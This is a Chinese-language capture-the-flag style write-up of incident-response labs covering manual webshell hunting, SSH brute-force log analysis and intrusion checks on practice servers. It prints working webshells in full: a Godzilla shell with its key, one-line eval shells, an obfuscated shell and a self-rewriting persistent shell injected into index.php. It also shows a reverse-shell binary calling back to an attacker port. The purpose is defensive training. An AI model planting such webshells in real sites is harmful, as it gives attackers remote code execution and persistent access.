Back

玄机:第一章-应急响应

玄机平台第一章应急响应部分 WriteUp

由于实习需要,来碰一碰应急响应,之后可能也会打打这个平台上的其他题

WebShell查杀

简介

靶机账号密码 root xjwebshell
1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
2.黑客使用的什么工具的shell github地址的md5 flag{md5}
3.黑客隐藏shell的完整路径的md5 flag{md5}
4.黑客免杀马完整路径的md5 flag{md5}

查webshell可以手动查杀,也可以用专门的查杀工具
由于我的目的是学习,因此选择手动查杀,后面会贴上利用工具查杀的步骤

手动查杀

启动 靶机 环境,XShell连接,当然这里也可以用其他的远程终端连接工具,甚至直接在虚拟机里SSH连接,选择哪种看个人喜好。

由于目标是查杀webshell,我们直接切换到网站目录/var/www/html

1
2
3
4
root@ip-10-0-10-7:~# cd /var/www/html
root@ip-10-0-10-7:/var/www/html# ls
admin	 config.php  favicon.ico  index.php    LICENSE	 README.md  shell.php	 template
api.php  data	     include	  install.php  pictures  rss.php    sitemap.php  wap

0x01 黑客webshell里面的flag

一个个文件看过去显然不够优雅,而且效率极低,不推荐(毕竟环境开久了要花钱)

确认后端语言是php后,用命令查找有webshell特征的php文件
find ./ type f -name "*.php" | xargs grep "eval("

  • xargs:作用和管道符类似,但find的结果没法直接用管道符传递,以此要配合该命令使用
1
2
3
4
5
6
root@ip-10-0-10-7:/var/www/html# find ./ type f -name "*.php" | xargs grep "eval("
find: ‘type’: No such file or directory
find: ‘f’: No such file or directory
./include/gz.php:		eval($payload);
./include/Db/.Mysqli.php:		eval($payload);
./shell.php:<?php phpinfo();@eval($_REQUEST[1]);?>

可以看到有三个结果,先来看看最明显的那个

1
2
root@ip-10-0-10-7:/var/www/html# cat shell.php 
<?php phpinfo();@eval($_REQUEST[1]);?>

是个一句话木马,虽然也是webshell,但没有包含flag
再看看另外两个

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
root@ip-10-0-10-7:/var/www/html# cat include/gz.php 
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
//027ccd04-5065-48b6-a32d-77c704a5e26d
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
    $data=encode($data,$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo encode(@run($data),$key);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

注释中有flag,很明显就是我们要找的webshell了

0x02 黑客使用的什么工具的shell github地址的md5

根据木马特征可以一眼看出是Godzilla生成的webshell

Godzilla木马的静态特征:

  1. run()方法是写死在攻击载荷里的,代码一定会用这个方法执行传入的参数
  2. 有一个向session中存储攻击载荷的的过程,即$_SESSION[$payloadName]=<传入的参数>

若没有研究过木马特征也无妨,直接将代码复制一部分丢Github上搜索,左侧筛选结果选择Code,就可找到代码来源

0x03 黑客隐藏shell的完整路径的md5

正好,我们刚刚搜到了一个隐藏的文件,且有木马特征,看看内容

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
root@ip-10-0-10-7:/var/www/html# cat ./include/Db/.Mysqli.php 
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
    $data=encode($data,$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo encode(@run($data),$key);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

和gz.php内容一致,同样是webshell,pwd查看目录后md5加密提交即可

0x04 黑客免杀马的完整路径md5

免杀马是经过特殊处理或混淆,从而能避开常规杀毒软件和安全检测工具的木马,因此免杀马是没有静态特征的,只能根据其动态执行时的效果来确认
因此可以看日志文件,因为webshell执行时会在网站日志里留下记录

进入日志目录,看看网站中间件是什么

1
2
3
4
5
6
root@ip-10-0-10-7:/var/www/html# cd /var/log
root@ip-10-0-10-7:/var/log# ls
alternatives.log    apt				       bootstrap.log   cloud-init-output.log  debug.1	  kern.log    messages.1      private	user.log.1
alternatives.log.1  auth.log			       btmp	       daemon.log	      dpkg.log	  kern.log.1  mysql	      syslog	wtmp
amazon		    auth.log.1			       btmp.1	       daemon.log.1	      dpkg.log.1  lastlog     ntpstats	      syslog.1
apache2		    aws114_ssm_agent_installation.log  cloud-init.log  debug		      faillog	  messages    php7.3-fpm.log  user.log

我们看到了apache2,因此确定中间件是Apache
进入apache2目录,查看日志文件(在CentOS或RedHat中是httpd目录)

1
root@ip-10-0-10-7:/var/log/apache2# cat access.log

在日志中我们可以看到几条可疑的记录

用GET方式向top.php传入了phpinfo();,可能是黑客测试webshell是否生效时传入的

再往下看看

这次传参就能明显看出这个文件是恶意文件了

看看这个文件的内容

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
root@ip-10-0-10-7:/var/www/html# cat wap/top.php 
<?php

$key = "password";

//ERsDHgEUC1hI
$fun = base64_decode($_GET['func']);
for($i=0;$i<strlen($fun);$i++){
    $fun[$i] = $fun[$i]^$key[$i+1&7];
}
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];

的确是免杀马,pwd查看目录后md5加密提交即可

工具查杀

相比于手动查杀,工具查杀要方便的多
我使用的工具是D盾客户端,当然也可以用在线的其他查杀网站,比如河马查杀

用各种手段将网站源码下载到本地,我这里用了XFTP直接拉取

将获取到的网站源码文件夹丢进D盾分析,直接跑出结果(不是,免杀马都给你揪出来了?)

可以看到,工具查杀的效率非常高,实际工作中用的也大部分是工具查杀,但手动查杀也是必不可少的。倘若工具无法查出木马,我们就需要手动排查

Linux日志分析

Linux中的日志文件统一存放在/var/log目录下,以下是一些常见的日志文件

  1. auth.log:记录身份验证相关信息,如ssh登陆与su切换,备份文件为auth.log.1
  2. syslog:记录系统的各种信息与错误
  3. kern.log:记录内核生成的日志信息
  4. dmesg:记录系统启动时内核产生的信息
  5. boot.log:记录系统启动时的信息
  6. apache2:Apache服务器的日志信息,CentOS下为httpd
  7. nginx:Nginx服务器的日志信息

简介

账号root密码linuxrz
1.有多少IP在爆破主机ssh的root帐号,如果有多个使用",“分割
2.ssh爆破成功登陆的IP是多少,如果有多个使用”,“分割
3.爆破用户名字典是什么?如果有多个使用”,“分割
4.登陆成功的IP共爆破了多少次
5.黑客登陆主机后新建了一个后门用户,用户名是多少

0x01 有多少IP在爆破主机ssh的root帐号

既然是要看有多少ip在暴破ssh,我们就需要看ssh的登陆信息,也就是auth.logauth.log.1
简单看了一遍后确认ssh登陆信息在auth.log.1

先用grep筛选出SSH登陆root失败的尝试:

1
2
3
4
5
6
7
root@ip-10-0-10-2:/var/log# cat auth.log.1 | grep -a "Failed password for root"
Aug  1 07:42:32 linux-rz sshd[7471]: Failed password for root from 192.168.200.32 port 51888 ssh2
Aug  1 07:47:13 linux-rz sshd[7497]: Failed password for root from 192.168.200.2 port 34703 ssh2
Aug  1 07:47:18 linux-rz sshd[7499]: Failed password for root from 192.168.200.2 port 46671 ssh2
Aug  1 07:47:20 linux-rz sshd[7501]: Failed password for root from 192.168.200.2 port 39967 ssh2
Aug  1 07:47:22 linux-rz sshd[7503]: Failed password for root from 192.168.200.2 port 46647 ssh2
Aug  1 07:52:59 linux-rz sshd[7606]: Failed password for root from 192.168.200.31 port 40364 ssh2

由于日志数量少,我们可以一条条分析,但在现实环境下不会只有那么几条记录,需要加以筛选,
因此这里也用命令进行筛选

命令:cat auth.log.1 | grep -a "Failed password for root" | awk '{print $11}' | sort | uniq -c | sort -nr | more

  • grep -a-a参数用于将文件内容视作文本文件(通常在处理二进制文件时使用)
  • awk '{print $11}': 用文本处理工具awk打印每行的第十一个字段,在日志文件的标准中,第十一个字段是ip地址
  • sort:对内容进行排序
  • uniq -cuniq用于删除重复的行,常与sort配合使用,-c参数用于统计每行出现的次数
  • sort -nr-n表示按数值排序,-r表示降序排序
  • more:在输出很长的情况下,用于分页输出
1
2
3
4
root@ip-10-0-10-2:/var/log# cat auth.log.1 | grep -a "Failed password for root" | awk '{print $11}' | sort | uniq -c | sort -nr | more
      4 192.168.200.2
      1 192.168.200.32
      1 192.168.200.31

可以看到有三个ip在尝试登陆root账号

0x02 ssh爆破成功登陆的IP是多少

要找成功登陆的ip,只需要将筛选字段修改为Accepted即可

1
2
root@ip-10-0-10-2:/var/log# cat auth.log.1 | grep -a "Accepted" | awk '{print $11}' | sort | uniq -c
      2 192.168.200.2

0x03 爆破用户名字典是什么

先看看一般的登陆信息是什么样的

1
2
3
4
5
6
7
root@ip-10-0-10-2:/var/log# cat auth.log.1 | grep -a "Failed"
Aug  1 07:40:50 linux-rz sshd[7461]: Failed password for invalid user test1 from 192.168.200.35 port 33874 ssh2
Aug  1 07:41:04 linux-rz sshd[7465]: Failed password for invalid user test2 from 192.168.200.35 port 51640 ssh2
Aug  1 07:41:13 linux-rz sshd[7468]: Failed password for invalid user test3 from 192.168.200.35 port 48168 ssh2
Aug  1 07:42:32 linux-rz sshd[7471]: Failed password for root from 192.168.200.32 port 51888 ssh2
Aug  1 07:46:41 linux-rz sshd[7475]: Failed password for invalid user user from 192.168.200.2 port 36149 ssh2
...

可以看到,若要找暴破时使用的用户名字典,就需要找for与from之间的内容,这样无论是不存在的用户名还是存在的用户名都能提取
因此需要用到perl脚本
命令:cat auth.log.1 | grep -a "Failed" | perl -e 'while($_=<>){/for(.*?) from/; print "$1\n"}' | sort | uniq -c | sort -nr

  • while($_=<>):逐行读取输入
  • /for(.*?) from/:使用正则表达式匹配for与from之间的内容
  • print "$1\n":将匹配到的内容打印出来并换行
1
2
3
4
5
6
7
8
root@ip-10-0-10-2:/var/log# cat auth.log.1 | grep -a "Failed" | perl -e 'while($_=<>){/for(.*?) from/; print "$1\n"}' | sort | uniq -c | sort -nr
      6  root
      5  invalid user user
      5  invalid user hello
      5  invalid user 
      1  invalid user test3
      1  invalid user test2
      1  invalid user test1

如此就获取到了登陆用的用户名字典(怎么还有空的)

0x04 登陆成功的IP共爆破了多少次

由之前筛选出的结果可以看出,登陆成功的是192.168.200.2,且暴破了四次,因此答案已经得出了

0x05 黑客登陆主机后新建了一个后门用户,用户名是多少

搜索关键字new user,即可找到所有新建用户的日志记录

1
2
3
root@ip-10-0-10-1:/var/log# cat auth.log.1 | grep -a "new user"
Aug  1 07:50:45 linux-rz useradd[7551]: new user: name=test2, UID=1000, GID=1000, home=/home/test2, shell=/bin/sh
Aug  1 08:18:27 ip-172-31-37-190 useradd[487]: new user: name=debian, UID=1001, GID=1001, home=/home/debian, shell=/bin/bash

另一个新建用户是debian,直接排除,所以答案就得出了

Linux入侵排查

简介

账号:root 密码:linuxruqin
1.web目录存在木马,请找到木马的密码提交
2.服务器疑似存在不死马,请找到不死马的密码提交
3.不死马是通过哪个文件生成的,请提交文件名
4.黑客留下了木马文件,请找出黑客的服务器ip提交
5.黑客留下了木马文件,请找出黑客服务器开启的监端口提交

手动排查

0x01 web目录存在木马,请找到木马的密码提交

既然是排查web目录,进入/var/www/html下后直接用命令查找有木马特征的文件即可
find ./ type f -name "*.php" | xargs grep "eval("

1
2
3
4
5
6
root@ip-10-0-10-4:/var/www/html# find ./ type f -name "*.php" | xargs grep "eval("
find: ‘type’: No such file or directory
find: ‘f’: No such file or directory
./.shell.php:<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>
./index.php:$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
./1.php:<?php eval($_POST[1]);?>

我们需要找的是普通木马的密码,一般是指传入的参数,.shell.phpindex.php中的特征更像是不死马

1
2
root@ip-10-0-10-4:/var/www/html# cat 1.php
<?php eval($_POST[1]);?>

的确是最普通的一句话木马,传入的参数是1

0x02 服务器疑似存在不死马,请找到不死马的密码提交

这下我们把目光放到另外两个有木马特征的文件上

1
2
root@ip-10-0-10-4:/var/www/html# cat .shell.php
<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
root@ip-10-0-10-4:/var/www/html# cat index.php
<?php
include('config.php');
include(SYS_ROOT.INC.'common.php');
$path=$_SERVER['PATH_INFO'].($_SERVER['QUERY_STRING']?'?'.str_replace('?','',$_SERVER['QUERY_STRING']):'');
if(substr($path, 0,1)=='/'){
	$path=substr($path,1);
}
$path = Base::safeword($path);
$ctrl=isset($_GET['action'])?$_GET['action']:'run';
if(isset($_GET['createprocess']))
{
	Index::createhtml(isset($_GET['id'])?$_GET['id']:0,$_GET['cat'],$_GET['single']);
}else{
	Index::run($path);
}
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php');
usleep(3000);
?>

很常规的不死马,index.php用于不断写马,而.shell.php无法被删除,
传入的pass参数就是连接不死马需要带上的密码,暴破这串md5即可

0x03 不死马是通过哪个文件生成的,请提交文件名

上面我们已找到生成不死马的文件,也就是index.php

0x04 黑客留下了木马文件,请找出黑客的服务器ip提交

查看web目录下的文件可以看到一个很可疑的可执行文件'shell(1).elf'

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@ip-10-0-10-4:/var/www/html# ls -la
total 736
drwxrwxrwx 8 www-data www-data   4096 Aug  3  2023  .
drwxr-xr-x 3 root     root       4096 Aug  3  2023  ..
-rwxrwxrwx 1 www-data www-data     24 Aug  3  2023  1.php
-rw-r--r-- 1 root     root     655360 Aug  3  2023  1.tar
drwxrwxrwx 3 www-data www-data   4096 Aug  3  2023  admin
-rwxrwxrwx 1 www-data www-data    280 Aug  3  2023  api.php
-rwxrwxrwx 1 www-data www-data    882 Aug  3  2023  config.php
drwxrwxrwx 3 www-data www-data   4096 Aug  3  2023  data
-rwxrwxrwx 1 www-data www-data    894 Aug  3  2023  favicon.ico
-rwxrwxrwx 1 www-data www-data    142 Aug  3  2023  .htaccess
drwxrwxrwx 4 www-data www-data   4096 Aug  3  2023  include
-rwxrwxrwx 1 root     root        722 Aug  3  2023  index.php
-rwxrwxrwx 1 www-data www-data  12744 Aug  3  2023  install.php
-rwxrwxrwx 1 www-data www-data   1080 Aug  3  2023  LICENSE
drwxrwxrwx 2 www-data www-data   4096 Aug  3  2023  pictures
-rwxrwxrwx 1 www-data www-data   2235 Aug  3  2023  README.md
-rwxrwxrwx 1 www-data www-data   1049 Aug  3  2023  rss.php
-rw-r--r-- 1 www-data www-data    207 Aug  3  2023 'shell(1).elf'
-rw-r--r-- 1 www-data www-data     88 Jan  1  2021  .shell.php
-rwxrwxrwx 1 www-data www-data    566 Aug  3  2023  sitemap.php
drwxrwxrwx 3 www-data www-data   4096 Aug  3  2023  template
drwxrwxrwx 3 www-data www-data   4096 Aug  3  2023  wap

黑客也许就是利用这个可执行文件连接自己的监听主机的,我们只需要执行它,再通过netstat命令就可以得知黑客的ip与监听端口

先给执行权限,在执行该文件

1
2
3
root@ip-10-0-10-4:/var/www/html# chmod +x 'shell(1).elf' 
root@ip-10-0-10-4:/var/www/html# 
root@ip-10-0-10-4:/var/www/html# ./'shell(1).elf'

该文件此时已经在执行中,我们新建立一个连接,在其中用netstat来查看端口网络连接与端口监听情况
netstat -antlp

  • -a:显示所有连接中的端口,包括监听与未监听
  • -n:以数字形式显示地址与端口号,而不是解析为主机名或域名
  • -t:显示TCP连接
  • -l:显示监听状态的Socket(套接字)
  • -p:显示每个Socket的程序
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
root@ip-10-0-10-4:~# netstat -natlp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      508/sshd            
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      552/mysqld          
tcp        0      0 10.0.10.4:22            101.64.141.187:32169    ESTABLISHED 848/sshd: root@pts/ 
tcp        0    340 10.0.10.4:22            101.64.141.187:32134    ESTABLISHED 751/sshd: root@pts/ 
tcp        0      0 10.0.10.4:51916         169.254.169.254:80      TIME_WAIT   -                   
tcp        0      1 10.0.10.4:60616         10.11.55.21:3333        SYN_SENT    878/./shell(1).elf  
tcp6       0      0 :::22                   :::*                    LISTEN      508/sshd            
tcp6       0      0 :::80                   :::*                    LISTEN      554/apache2 

我们可以很清晰地看到shell(1).elf文件在尝试连接10.11.55.21

0x05 黑客留下了木马文件,请找出黑客服务器开启的监端口提交

根据上题可以看到黑客的监听端口是3333

工具排查

老样子,把web目录整个拉取下来丢进D盾

可以看到排查出了三个木马文件,但黑客留下的执行文件只能靠我们手工排查

写在最后

都是很基础的应急响应,没什么难度,在真实环境里不会那么简单,不过对于新手入门来说还是足够了

Licensed under CC BY-NC-SA 4.0